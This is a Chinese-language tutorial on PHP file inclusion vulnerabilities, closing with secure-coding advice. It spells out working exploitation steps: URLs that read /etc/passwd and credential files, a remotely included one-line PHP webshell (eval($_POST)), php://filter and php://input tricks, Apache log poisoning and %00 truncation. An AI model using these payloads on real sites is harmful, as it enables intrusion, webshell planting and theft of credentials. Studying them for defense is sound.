一般PHP語言最容易出現包含漏洞,其他語言不常見。
PHP提供了四個文件包含的函數,分別是include(),include_once,require(),require_once(),區別如下:
- require 找不到被包含的文件時會產生致命錯誤(E_COMPILE_ERROR),並停止腳本;
- include 找不到被包含的文件時只會產生警告(E_WARNING),腳本將繼續執行。
- include_once 與include()語句類似,唯一的區別是如果該文件中的代碼已經被包含,則不會再次包含。
- require_once 與require()語句類似,唯一的區別是如果該文件中的代碼已經被包含,則不會再次包含。
文件包含示例
(1)本地包含
test1.php 代碼如下:
<?php $a='aaa'; echo $a; ?>
test2.php 代碼如下:
<?php include("test1.php"); ?>
執行test2.php 會輸出 aaa。
此處注意,如果test2.php 包含的是一個 txt文件,並且這個txt文件內容符合php語法規則,則txt文件會被當成php文件執行。 如果包含非php語法規則的內容,則會暴露其源代碼。
(2)遠程包含
遠程包含功能在php.ini 中配置:allow_url_include=On
創建aaa.txt文件,文件內容符合PHP語法規則。
我們將test2.php的內容修改為:
<?php include($_GET['page']); ?>
此時,在url中輸入:http://www.XXXX.com/test2.php?page=http://www.XXXX.com/aaa.txt
將會執行aaa.txt的內容。
文件包含利用
(1)讀取敏感文件
訪問URL:http://www.XXXX.com/test2.php?page=/etc/passwd 如果目標主機文件存在,並且有相應的權限,那么就可以讀出文件的內容,反之會被警告。
常見的敏感信息路徑:
①Windows系統
C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存儲windows系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
②UNIX/Linux系統
/etc/passwd //apache2默認配置文件
/usr/local/app/apache2/conf/http.conf //apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-chosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
(2)遠程包含shell
如果目標主機allow_url_fopen選項是激活的,就可以嘗試遠程包含一句話木馬,如:http://www.X.com/1.txt,代碼如下:
<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
訪問http://www.XXXX.com/test2.php?page=http://www.X.com/1.txt,將會在test2.php所在的目錄下生成shell.php,內容為:<?php eval($_POST[xxxxx]); ?>
(3)本地包含配合文件上傳
上傳圖片,文檔等,路徑為:/uploadfile/1.jpg
內容為:<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
訪問http://www.XXXX.com/test2.php?page=/uploadfile/1.jpg,將會在test2.php所在的目錄下生成shell.php。
(4)PHP封裝協議
file:// 訪問本地文件系統
http:// 訪問HTTP(S)網址
ftp:// 訪問FTP(s)URLs
php:// 訪問輸入/輸出流 (I/O streams)
zlib:// 壓縮流
data:// 數據(RFC 2397)
ssh2:// Secure Shell 2
expect:// 處理交互式的流
glob:// 查找匹配的文件路徑
①使用封裝協議讀取PHP文件
如http://www.XXXX.com/test2.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,即可得到經過base64加密的文件內容,解密即可。
②寫入PHP文件。
php://input 使用時必須開啟 allow_url_include。
URL:http://www.XXXX.com/test2.php?page=php://input
然后提交數據,則可以執行代碼。
(5)包含Apache日志文件
如果存在本地包含漏洞導致無法上傳文件時,則可以找Apache的路徑,利用包含Apache日志文件也可以獲取Webshell。
Apache運行后一般默認會生成兩個日志文件,access.log(訪問日志)和error.log(錯誤日志),訪問日志文件記錄了客戶端的每次請求和服務器響應的相關信息。
如果訪問一個不存在的資源時,如http://www.XXXX.com/<?php phpinfo(); ?>,則會記錄在日志中,但是代碼中的敏感字符會被瀏覽器轉碼,我們可以通過burpsuit繞過編碼,就可以把<?php phpinfo(); ?> 寫入apache的日志文件,然后可以通過包含日志文件來執行此代碼。
(6)截斷包含
如果php文件中的包含語句是: include $_GET['page']."php";
看似修復了包含漏洞,其實不然,我們可以通過%00截斷來繞過,如?page=1.jpg%00
但是如果magic_quotes_gpc=on %00截斷將實效。
安全編寫包含
- 嚴格判斷包含中的參數是否外部可控,因為文件包含漏洞利用成功與否的關鍵點就在於被包含的文件是否可被外部控制;
- 路徑限制:限制被包含的文件只能在某一文件夾內,一定要禁止目錄跳轉字符,如:“../”;
- 包含文件驗證:驗證被包含的文件是否是白名單中的一員;
- 盡量不要使用動態包含,將需要包含的頁面固定寫好,如:include("head.php")。
